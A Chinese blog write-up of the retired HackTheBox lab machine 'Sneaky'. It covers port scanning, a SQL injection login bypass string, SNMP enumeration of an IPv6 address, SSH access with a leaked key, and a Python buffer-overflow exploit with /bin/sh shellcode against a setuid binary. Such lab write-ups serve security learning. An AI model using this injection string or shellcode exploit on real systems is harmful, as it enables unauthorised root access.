HTB-靶机-Sneaky
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.20
sudo nmap -n -sU -A -oN sneaky.nmap 10.10.10.20
nmap扫描结果
开放了80和161端口,先看看80端口应用
没啥有价值的东西,使用dirb跑下目录
发现一个目录地址dev访问得到如下页面
测试了下存在万能密码
万能密码 admin' or 1=1 #
成功之后得到如下信息,访问一下key
有了密钥发现目标靶机没开22端口,此时想到开放了snmp服务,可以通过此服务枚举下目标的ipv6地址,枚举ipv6地址的利用脚本:https://github.com/trickster0/Enyx
上述获取IPv6地址的另一种方式如下:
sudo apt-get install snmp-mibs-downloader sudo vim /etc/snmp/snmp.conf 进入后注释掉mibs这行,然后执行如下命令获取IPv6地址信息 snmpwalk -v2c -c public 10.10.10.20 1.3.6.1.2.1.4.34.1.3 > snmpinfo.txt
获得了IPv6地址,使用nmap扫描了下,发现开放了22端口,那么使用ipv6地址连接目标靶机
进入目标靶机之后很顺利的获得了user.txt ,使用提权收集信息脚本LinEnum.sh进行收集目标靶机系统的信息,最终得到一个二进制文件存在setuid权限,此靶机又要通过缓冲区溢出进行提权
经过分析测试,得出可以通过如下代码进行提权,将下面代码保存为bmfx.py 然后在目标靶机上执行/usr/local/bin/chal $(python bmfx.py) 即可提权
BUFFER_SIZE=362 SHELL_CODE = "\x31\xc0\x50\x68\x2f\x2f\x73" SHELL_CODE += "\x68\x68\x2f\x62\x69\x6e\x89" SHELL_CODE += "\xe3\x89\xc1\x89\xc2\xb0\x0b" SHELL_CODE += "\xcd\x80\x31\xc0\x40\xcd\x80" NOP_SLED = "\x90"*(BUFFER_SIZE-len(SHELL_CODE)) #EIP = "\x00\xf5\xff\xbf" #0xbffff500 EIP = "\x5c\xf7\xff\xbf" #0xbffff75c PAYLOAD = NOP_SLED + SHELL_CODE + EIP print PAYLOAD
迷茫的人生,需要不断努力,才能看清远方模糊的志向!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?